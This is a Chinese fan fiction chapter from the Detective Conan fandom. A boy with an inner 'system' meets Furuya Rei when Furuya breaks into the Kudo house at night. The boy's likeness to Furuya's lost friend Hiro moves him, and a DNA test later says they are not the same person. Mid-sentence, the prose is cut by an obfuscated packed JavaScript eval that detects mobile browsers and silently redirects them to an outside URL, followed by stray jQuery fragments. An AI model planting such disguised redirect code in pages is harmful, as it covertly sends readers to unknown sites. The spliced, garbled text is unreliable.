*接上一篇if线番外*


    手机的屏幕乍然亮起。


    戴着厨房手套的冲矢光将还散发着热气的烤盘放在一旁，走上前扫了一眼。


    【今晚有事，不能归家】


    收到这条消息的男孩瞪圆眼睛，凝视着桌上分量颇大的牧羊人派发了会儿呆，决定按照昴先生的饭量取一部分放进冰箱，剩下的送给隔壁的阿笠博士和小哀分享。


    「这眯眯眼总是这样，成天神神秘秘也不知在做什么」


    系统在意识空间里碎碎念着。


    「大人们总有自己的秘密」


    熟练切割并分装起馅料的冲矢光并不以为意。


    「最近小哀一直在盯着阿笠博士控制体重，先不拿布朗尼蛋糕过去了」


    「……总觉得，宿主你今天的心情好像很好？」


    「有吗？」


    「因为你的脸上一直在笑」


    因为灵魂受损导致的记忆丧失，印象中的宿主虽然温柔体贴，却很少有如此明显的情绪外露。


    餐刀移动的轨迹停在半空，冲矢光疑惑地抬起手，轻抚自己的唇角，的确带着上扬的弧度。


    「可能是，安心了吧」


    若有所思的他收回视线，小心地按上餐盒盖子。


    自从在波洛咖啡厅里遇上那位奇怪的“大哥哥”后，他就觉得某种郁积于胸，教人坐立难安的沉重忧虑于悄无声息中消融淡化，取而代之的是难以言喻的欣慰和欢喜。


    安室透。


    下意识地念出这个名字，唇齿相触间的生涩感令他眉宇微蹙。


    「我，以前的我，一定认识那个人，那个……安室先生」


    超脱于散落难寻的记忆碎片，灵魂先一步给予了答案。


    他向系统传音的语气十分坚定。


    「一见面就暗戳戳偷拿宿主头发的可疑男？」


    虽然从宿主与对方见面后的情绪变化，大概能察觉到端倪，但当事实确认，系统还是觉得眼前一黑。


    「为什么和宿主您过去有关的家伙，都是奇形怪状的控制狂啊！！」


    初来乍到的安室透暂且不论，曾经偷偷往宿主身上装定位和监听器的冲矢昴更是重量级。


    男孩脸上的表情略带尴尬。


    「或许是因为，我本人也是怪人？」


    会毫不犹豫朝自己心脏开/枪的人也正常不到哪里去。


    「……」


    系统不说话了。


    是夜。


    沉浸于淡金色的命运之力中安睡的残破灵魂，突兀接收到了来自系统的夺命连环call。


    冲矢光自床榻上翻身坐起，本能地揉着眼眶，清明的眸底却丝毫没有困倦之意。


    「有人在私自入侵，就在二楼走廊的窗口那边！」


    宿主的过往身份并不简单，如今的身体又过于脆弱。如此危机四伏的环境中，作为金牌系统的它有义务关注其身边的任何风吹草动。


    「能看清样貌么？」


    昴先生在这栋房子里也留下了不少防护系统，如今确全然没有被触动的迹象，对方显然有备而来。


    「就是白天咖啡厅的那个小黑脸！」


    居然当天晚上就杀上门了？这效率一点也不日本。


    拨打报警电话的手指蓦地止歇，半晌的寂静后，冲矢光熄灭了屏幕。


    **


    「你还真是疯得不轻」


    跨越那道旧式围栏前，降谷零的脑海之中仍然回荡着这句冰冷且熟悉的嘲讽。


    正是来自他自己的声音。


    组织情报组首席的嗤笑。


    冲矢昴，东都大学工科研究生，原来租住的房屋在一次事件中被纵火，现暂住在工藤新一家中。清白的身世过往，简单的人际关系，粗看之下并无多少缺漏之处，然而其人出现的时间委实过于凑巧，与贝尔摩德关注的那个男孩又似是关系匪浅——接受朗姆的任务回到东京前，他就已经将此人放在了调查榜单的前列。


    可不是现在。


    情报不全，背景未清，冲矢昴的存在与能力依旧笼罩于层层迷雾中，不过是短暂离开一晚，此时此刻贸然前往被他经营许久，作为临时据点的工藤宅，显然无谋莽撞到了极致，全然不似他往常谋定后动的作风。


    趁着夜色而来的男人，动作娴熟地切断了大宅的电路，戴着手套的指节依旧灵活，翻动运作间，锁扣按压着的窗台应声而开。


    黑衣黑帽，将身形彻底隐于阴影中的他，眼眸深处鼓动着情绪难明的潮涌。


    那个和hiro幼时容貌，有着七/八分相似的孩子，据说是冲矢昴的远房亲戚，目前正与其同居。


    冲矢光。


    不知为何，一想起这个名字，尤其是缀于前方的姓氏，他就觉得无名火起，像是被有什么珍贵之物被夺取了般。


    DNA比对的结果，差不多也就在这个时间段，一时难以理清心头产生的纷繁念头，降谷零将黑色帽檐拉得更低，淡色的嘴唇抿成一条坚硬的直线。


    而后，视线往下试图从窗台着地的他，撞上了一双被月色浸透，涟漪荡漾间折射出星辰碎光的澄澈蓝眸。


    沉默，沉默是此时的工藤宅。


    一大一小的两人表情空白地对视良久，却又不约而同皱起眉头，一齐开口——


    “大哥哥你需要椅子吗？”


    “你怎么光着脚？”


    「你们两个关注的重点为什么都那么清奇？」→来自无话可说的系统


    “因为听到外面有动静……”


    被系统一路催着，以至于忘了穿拖鞋的冲矢光脚趾微蜷，后知后觉地感受到深夜地板的沁凉。


    “站着别动。”


    自高度不低的窗台一跃而下，轻松落地的降谷零注意到男孩脸上未褪的紧张之色，俯身将他抱起。


    轻若无物的单薄身体，像是风一吹就会被刮跑。


    那个不靠谱的监护人，到底是怎么养孩子的？


    想到这么小的孩子就这么被人孤零零地抛在除他之外空无一人的大宅中，降谷零对冲矢昴本就极低的印象分更是一落千丈。


    “其实我可以去搬凳子过来……要是大哥哥你崴到脚就糟了。”


    突然就两脚离地的冲矢光适应良好，乖巧环抱着男人的脖颈，调整姿势让自己坐得更舒服些。


    已经瞥见走廊尽头那扇敞开的门，正要将孩子带回卧室的降谷零停下脚步，侧过身时，烟紫色的眼眸隐隐泛冷，刻意压低的声线流露出十足的恫吓，“你对所有陌生人，都是这种态度吗？”


    秘密潜入却被撞破，发现者的态度却如此友善，本是不幸中的万幸。


    然而一想到往后要是当真遇上不轨之徒，以这孩子警惕心疏失的态度，不知会遇到多大的危险，降谷零便觉心头一梗。


    「不不不，真要是不认识的人，宿主早八百年就已经躲起来报警了」


    意识空间里的系统深刻感受到了什么叫做双标。


    “大哥哥又不是陌生人，我们在波洛咖啡厅里已经认识了，不是吗？”


    那双漂亮的猫眼弯成好看的弧度，便连瞳孔里的倒影都显出熨烫的温柔。


    “呵。”


    再度试图用波本瞳+恶人颜吓唬小朋友的某公安大人，冷笑着地撇过脸，一时竟说不出重话。


    推开半敞的房门，瞥见地上白色拖鞋的冲矢光拍着降谷零的手臂示意他放下自己。


    后者在照做的同时，不动声色地将房间的布置尽收眼底。


    以这个年纪的孩童而言，相当平实单调的摆设，没有玩具布偶或


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698999|161030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是什么花里胡哨的模型手办，又或是风靡一时的英雄海报，除却书架上满满当当的各色书籍外，唯一算得上装饰的或许只有挂在墙壁上的那个儿童款贝斯。


    他的呼吸瞬间错乱了一拍，又在转眼间调整恢复。


    “你还会贝斯？”


    “嗯，那是昴先生送给我的礼物，大哥哥你想听吗？”


    “……不用了。”


    艰难地将目光从那唤起了无数过往回忆的乐器上挪开，向来对自己的意志充满信心的降谷零一时竟也无法确定，真正听完对方弹奏后，他是否还会有执行任务的信念。


    “能替我倒一杯水么？”


    **


    “大哥哥？”


    冲矢光从厨房回来的时候，他的房间空无一人。


    试探性地提高声音喊了几声，不见回应的他戳了戳一动不动好似一条咸鱼的系统，「他已经走了吗？」


    「没那回事」


    受到传召的系统顿时抖擞精神，开启扫描宿主周遭的环境，「就在那边不远的杂物室」


    为什么会到那地方去？


    始终不知对方来意的冲矢光茫然地眨了眨眼，循着系统的指示来到杂物室前。


    身量颀长的男人，眼下正拿着一盏亮度颇高的手电筒，立于储物架前不知在看些什么。


    直到走近后，冲矢光这才看清，那是一方白纸板。


    “原来被昴先生收到这里来了。”


    怔忪发愣的降谷零转过身，就见男孩脸上带着略显怀念的淡笑，从他垂下的手上接过了翻动过的页数上残留不少笔迹的纸板。


    “这是，用来练字的？”


    他僵硬地扯了扯嘴角，说了个不沾边的猜测。


    “不是……也差不多？刚来这里的时候，我其实不太会说话。”


    主要还是灵魂受损过重的缘故。


    “那时候和其他人交流，主要就是靠它。”


    后来随着系统对他的治疗，自己的语言功能也在慢慢恢复，使用纸板的次数也愈来愈少，一直到最后束之高阁。


    “这样啊。”


    他垂下眼帘，语气平静地呢喃着。


    此前萦绕脑海不散的情绪，最终融合汇聚成了单一且磅礴的……悲伤。


    除此之外，降谷零也不知该如何形容自己此刻的感受。


    那些自四肢百骸中蔓延流动的东西，随着心脏每一次跳动，沉甸甸地不断下压，下压，直至压榨出最后点滴的鲜血，把它变成薄薄的一张残片。


    也许是他用于伪装的心绪有所松懈，察觉到他状态不太对劲的男孩，借着纸板旁附带着的马克笔，小心翼翼地写上——


    【お元気ですか？】


    （你还好吗？）


    不要在这种时候让我想起来啊。


    降谷零狼狈地阖上了眼睛。


    他和hiro的初见，发生在和附近嘲笑他肤色的高年级男生打了一架后。


    意识到那个小猫崽般怯生生的同龄男孩好像不太会说话的他，想起艾琳娜医生鼓励他要多交朋友的温柔建议，鼓足勇气凑到hiro的近旁，讲出了那句他们二人往后岁月中无数次带着怀念和珍视的心情回顾的话语——「说出来会更轻松哦」


    可实际上，那会儿这句话究竟起到多少效果暂且不论，真正的后续是，自己膝盖上只是草草冲洗一遍的伤口在跑动中渗出的鲜血，把初来乍到的hiro吓得不轻，笔速飞快地在纸板上留下担忧的问候。


    ——【お元気ですか？】


    世界上，会有可能开出如此相似的两朵花吗？


    **


    他的口袋里，不久前方才被按熄的信箱中，静静躺着一条已阅短信。


    「检查报告已出，DNA检测不符，两者并非一人」